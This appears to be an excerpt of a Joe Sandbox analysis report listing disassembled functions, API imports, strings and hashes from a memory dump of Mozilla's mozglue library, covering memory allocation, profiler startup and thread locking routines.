Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 51617980bcee447c393b7c295e56f733fc35a75e9c294539d54927130ed638ad
Instruction ID: 6d170df29c5dcbf0355c5f569632f51045b5ac82d6bd20a80b3fe85ed4dabe29
Opcode Fuzzy Hash: 51617980bcee447c393b7c295e56f733fc35a75e9c294539d54927130ed638ad
Instruction Fuzzy Hash: 1E3164B1A003159FDB14DF798D44AABB7F9EF48614F15842DE85AE7700E734E844CBA1

Function 6CAB5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CACDCA0,?,?,?,6CA8E8B5,00000000), ref: 6CAB5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CA8E8B5,00000000), ref: 6CAB5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6CA8E8B5,00000000), ref: 6CAB5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6CA8E8B5,00000000), ref: 6CAB5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CA8E8B5,00000000), ref: 6CAB5FD6

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 9b99345ca3bc541b93feca953eac1cc5bc86cacdebda4e60b8b5167c42e25abc
Instruction ID: 2591ea06b62c3d25f8ef48dd25cecea96069c172976d083218dfb3323ac42806
Opcode Fuzzy Hash: 9b99345ca3bc541b93feca953eac1cc5bc86cacdebda4e60b8b5167c42e25abc
Instruction Fuzzy Hash: 7E3112343006018FD715CF29C898E26B7F9FF89715B688558F55697795C731EC41CB80

Function 6CA5B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CA5B532
moz_xmalloc.MOZGLUE(?), ref: 6CA5B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA5B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CA5B57E
free.MOZGLUE(00000000), ref: 6CA5B58F

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: a6728a1c99747a51eddba1244031e85758a62e72fa9887149ddb47df152ee580
Instruction ID: fe01a87bd47bd549557f79c4e8a713cd21d7ea3adff61df69a8529df1de9a05b
Opcode Fuzzy Hash: a6728a1c99747a51eddba1244031e85758a62e72fa9887149ddb47df152ee580
Instruction Fuzzy Hash: 59210A716002059BDB049F64DC40BAEBBB9FF45309F688129E815DB341E735D955C7A1

Function 6CA5B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6CA5B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CA5B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CA5B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA5B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA5B849

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 03ea78a15995d48ebbafcf90e1674c747afddb7581364a75218212f395dad2b7
Instruction ID: 026bf94a4540eb21c7d9c099523d5bb4eaf1e551157e18e42c510c6632593cec
Opcode Fuzzy Hash: 03ea78a15995d48ebbafcf90e1674c747afddb7581364a75218212f395dad2b7
Instruction Fuzzy Hash: 1A215EB4E002099FDF04DFA9D8855BEBBB4EF49318F148129EC16A7340E731A994CBA1

Function 6CAB6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CAB6E78

Part of subcall function 6CAB6A10: InitializeCriticalSection.KERNEL32(6CADF618), ref: 6CAB6A68
Part of subcall function 6CAB6A10: GetCurrentProcess.KERNEL32 ref: 6CAB6A7D
Part of subcall function 6CAB6A10: GetCurrentProcess.KERNEL32 ref: 6CAB6AA1
Part of subcall function 6CAB6A10: EnterCriticalSection.KERNEL32(6CADF618), ref: 6CAB6AAE
Part of subcall function 6CAB6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CAB6AE1
Part of subcall function 6CAB6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CAB6B15
Part of subcall function 6CAB6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6CAB6B65
Part of subcall function 6CAB6A10: LeaveCriticalSection.KERNEL32(6CADF618,?,?), ref: 6CAB6B83

MozFormatCodeAddress.MOZGLUE ref: 6CAB6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CAB6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CAB6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6CAB6EFF

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 6af7a9e93172feb9ffe6bc5055a543b4292ab652f0d81bfd7901d457caf661b8
Instruction ID: 0fa5b963708625de51cde36c1e3ac86ee8f123b540ee5fde21ef07e20f1c4897
Opcode Fuzzy Hash: 6af7a9e93172feb9ffe6bc5055a543b4292ab652f0d81bfd7901d457caf661b8
Instruction Fuzzy Hash: F821A771A0431A9FDF04CF69D88569A77F9EF48308F044139E80997341DB709A59CF92

Function 6CAB76C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6CAB76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CAB7705

Part of subcall function 6CA6CA10: malloc.MOZGLUE(?), ref: 6CA6CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CAB7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CAB778F,00000000,00000000,00000000,00000000), ref: 6CAB7731
free.MOZGLUE(00000000), ref: 6CAB7760

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: 2183c3c74c07b4c85b6b8a7436a7b0eba31e9d508e50eb84b57d9f664c13b517
Instruction ID: 0b22c1b3d739f396b075afccd3bce9e758cdab9f9cfe1ea8c3fdc6452f294572
Opcode Fuzzy Hash: 2183c3c74c07b4c85b6b8a7436a7b0eba31e9d508e50eb84b57d9f664c13b517
Instruction Fuzzy Hash: 7A11B2B19003256BE710AF769D44BABBEECEF45354F044529F848E7300E770988487F2

Function 6CA90D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CA53DEF), ref: 6CA90D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CA53DEF), ref: 6CA90D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CA53DEF), ref: 6CA90DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CA90D97, 6CA90DBE
<jemalloc>, xrefs: 6CA90D92, 6CA90DB9

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 9258d50d0764c35e92962125f0dda04f3cbe9dccc9b1aba1bf98c5c404b1c86f
Instruction ID: d72b05659f23152c3da9aaa1971e2527257478de67088153c96bac86339912b3
Opcode Fuzzy Hash: 9258d50d0764c35e92962125f0dda04f3cbe9dccc9b1aba1bf98c5c404b1c86f
Instruction Fuzzy Hash: B5F02E313A039523E628127A1C0BF6B26DEA7CABA4F35C135F744DE9C0DA50F4C146A5

Function 6CAA7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6CAA75C4,?), ref: 6CAA762B

Part of subcall function 6CA6CA10: malloc.MOZGLUE(?), ref: 6CA6CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6CAA74D7,6CAB15FC,?,?,?), ref: 6CAA7644
GetCurrentThreadId.KERNEL32 ref: 6CAA765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CAA74D7,6CAB15FC,?,?,?), ref: 6CAA7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CAA74D7,6CAB15FC,?,?,?), ref: 6CAA7677

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 4f97d8c2dbe3f497fc9a7fb1c3f61b72173cb18b7ae9ede7dcc9496fe642cba0
Instruction ID: a552173d024167bd99b1656356d4442f8f4683e513ecf67bc1a6bbdde1c1deb5
Opcode Fuzzy Hash: 4f97d8c2dbe3f497fc9a7fb1c3f61b72173cb18b7ae9ede7dcc9496fe642cba0
Instruction Fuzzy Hash: 44F0C275E10787ABD7008F22D888676B778FFEA259F21831AF94443601EBB0B5D18BD0

Function 6CAB1700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CAB1800

Part of subcall function 6CA8CBE8: GetCurrentProcess.KERNEL32(?,6CA531A7), ref: 6CA8CBF1
Part of subcall function 6CA8CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA531A7), ref: 6CA8CBFA

Part of subcall function 6CA54290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CA93EBD,6CA93EBD,00000000), ref: 6CA542A9

Strings

{marker.name} - {marker.data.name}, xrefs: 6CAB18C7
name, xrefs: 6CAB1939
Details, xrefs: 6CAB1925

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 4d965d3b190e62013cdc1dcd0cb7a6f91babaf1aad8e0db7f4802a7fec63d284
Instruction ID: 3392f4c5c291e94b075b9c4494a8393ad9fbcef3f11c1a5287b8de7d7054bffb
Opcode Fuzzy Hash: 4d965d3b190e62013cdc1dcd0cb7a6f91babaf1aad8e0db7f4802a7fec63d284
Instruction Fuzzy Hash: 8A71F0B0A003469FCB04CF68D5546AABBB5FF45304F04866DD8155BB41D770BAE9CBE2

Function 6CABB0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6CABB0A6,6CABB0A6,?,6CABAF67,?,00000010,?,6CABAF67,?,00000010,00000000,?,?,6CABAB1F), ref: 6CABB1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6CABB0A6,6CABB0A6,?,6CABAF67,?,00000010,?,6CABAF67,?,00000010,00000000,?), ref: 6CABB1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6CABB0A6,6CABB0A6,?,6CABAF67,?,00000010,?,6CABAF67,?,00000010), ref: 6CABB25F

Strings

map/set<T> too long, xrefs: 6CABB1FA

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: ae71577033d9cfb9f836309eb21565c29a7e3f1ce1105e54e03fbc2e88ab1514
Instruction ID: 31dcbfb8e11d671968b69dedae602edb0e515e475d3afd838a6b99af295c7592
Opcode Fuzzy Hash: ae71577033d9cfb9f836309eb21565c29a7e3f1ce1105e54e03fbc2e88ab1514
Instruction Fuzzy Hash: 6C618B74A002458FD701CF19E9C0A9ABBF5FF4A318F18C299D8596BB52C331EC85CBA1

Function 6CA7D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CA8CBE8: GetCurrentProcess.KERNEL32(?,6CA531A7), ref: 6CA8CBF1
Part of subcall function 6CA8CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA531A7), ref: 6CA8CBFA

EnterCriticalSection.KERNEL32(6CADE784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CA8D1C5), ref: 6CA7D4F2
LeaveCriticalSection.KERNEL32(6CADE784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CA8D1C5), ref: 6CA7D50B

Part of subcall function 6CA5CFE0: EnterCriticalSection.KERNEL32(6CADE784), ref: 6CA5CFF6
Part of subcall function 6CA5CFE0: LeaveCriticalSection.KERNEL32(6CADE784), ref: 6CA5D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CA8D1C5), ref: 6CA7D52E
EnterCriticalSection.KERNEL32(6CADE7DC), ref: 6CA7D690
LeaveCriticalSection.KERNEL32(6CADE784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CA8D1C5), ref: 6CA7D751

Strings

MOZ_CRASH(), xrefs: 6CA7D4BB

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 2731925e9b293c5555c84376c979deebb7855a5a72349472ccbef5366e99515b
Instruction ID: f13c1dba0235f8427d0410497c7f99a526e8f61996e2fadbf95709923dc09810
Opcode Fuzzy Hash: 2731925e9b293c5555c84376c979deebb7855a5a72349472ccbef5366e99515b
Instruction Fuzzy Hash: E251E175A047028FD328CF28C59465AB7E1FF89704F558A2ED599C7B84D770E884CB62

Function 6CAA4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CAA4721

Strings

., xrefs: 6CAA476A
profiler-paused, xrefs: 6CAA46E4
-%llu, xrefs: 6CAA4733

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: a10c84f838fcf4527a265795298cb9fd878696dcab4dd65cc376ccefa8b5b92b
Instruction ID: 1c033810dddd486d17ebc93668e08e6b3d83551f2390c580af467190a646811e
Opcode Fuzzy Hash: a10c84f838fcf4527a265795298cb9fd878696dcab4dd65cc376ccefa8b5b92b
Instruction Fuzzy Hash: 2B413471E087089BCB08DFB8E85119EBBE5AF85744F14C62EF85597B91EB3098868742

Function 6CAA46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CAA4721

Part of subcall function 6CA54410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CA93EBD,00000017,?,00000000,?,6CA93EBD,?,?,6CA542D2), ref: 6CA54444

Strings

., xrefs: 6CAA476A
profiler-paused, xrefs: 6CAA46E4
-%llu, xrefs: 6CAA4733

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: ad101e67741b298ee5fe91f3d42055b28e5e0d01533e2c1636a84f6f7f8a42af
Instruction ID: 913d4bb6fd096ea9970f5ea8c650f1fdba00d916271a9d9f6cc8031c37b355cf
Opcode Fuzzy Hash: ad101e67741b298ee5fe91f3d42055b28e5e0d01533e2c1636a84f6f7f8a42af
Instruction Fuzzy Hash: 3A314B71F042084BCB0CCFADD88129EBBE6DB88314F59823EF8059BB41EB7099858B50

Function 6CAAB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA54290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CA93EBD,6CA93EBD,00000000), ref: 6CA542A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CAAB127), ref: 6CAAB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAAB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CAAB4E4

Strings

pid:, xrefs: 6CAAB4DE

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 221583425cb473230c7ec638e55d1ad9a5d4dc2a3b0642dd22ceaa05c46370fe
Instruction ID: 3576a5e6515d8771aa0d0c02016aad4045444f2361bfc6fe89d0f262d5377a06
Opcode Fuzzy Hash: 221583425cb473230c7ec638e55d1ad9a5d4dc2a3b0642dd22ceaa05c46370fe
Instruction Fuzzy Hash: F331F731A0130D9FDB00DFE9E840AEEB7B5FF05318F580619D41267A41D731A9CACBA1

Function 6CA9E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA9E577
AcquireSRWLockExclusive.KERNEL32(6CADF4B8), ref: 6CA9E584
ReleaseSRWLockExclusive.KERNEL32(6CADF4B8), ref: 6CA9E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CA9E8A6

Strings

MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CA9E722, 6CA9E750, 6CA9E7A2
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CA9E777
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CA9E655
MOZ_PROFILER_STARTUP, xrefs: 6CA9E5A1, 6CA9E5CC, 6CA9E5FF, 6CA9E62A
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CA9E826, 6CA9E850

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 9b88db0ebfc7fc84f661b725b7d3f4f278c2d1d3b5f8569b47d5eb494648fb6c
Instruction ID: a5d9218282bbde9e1c4fb1695eb77aacc2371d9b9b9e572169b63dac0bd94b5a
Opcode Fuzzy Hash: 9b88db0ebfc7fc84f661b725b7d3f4f278c2d1d3b5f8569b47d5eb494648fb6c
Instruction Fuzzy Hash: 4E11C471604355DFCB049F18DC49B6ABBF4FB89729F05861DE84647650CB70B886CBD1

Function 6CAA0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAA0CD5

Part of subcall function 6CA8F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CA8F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAA0D40
free.MOZGLUE ref: 6CAA0DCB

Part of subcall function 6CA75E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA75EDB
Part of subcall function 6CA75E90: memset.VCRUNTIME140(6CAB7765,000000E5,55CCCCCC), ref: 6CA75F27
Part of subcall function 6CA75E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA75FB2

free.MOZGLUE ref: 6CAA0DDD
free.MOZGLUE ref: 6CAA0DF2

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
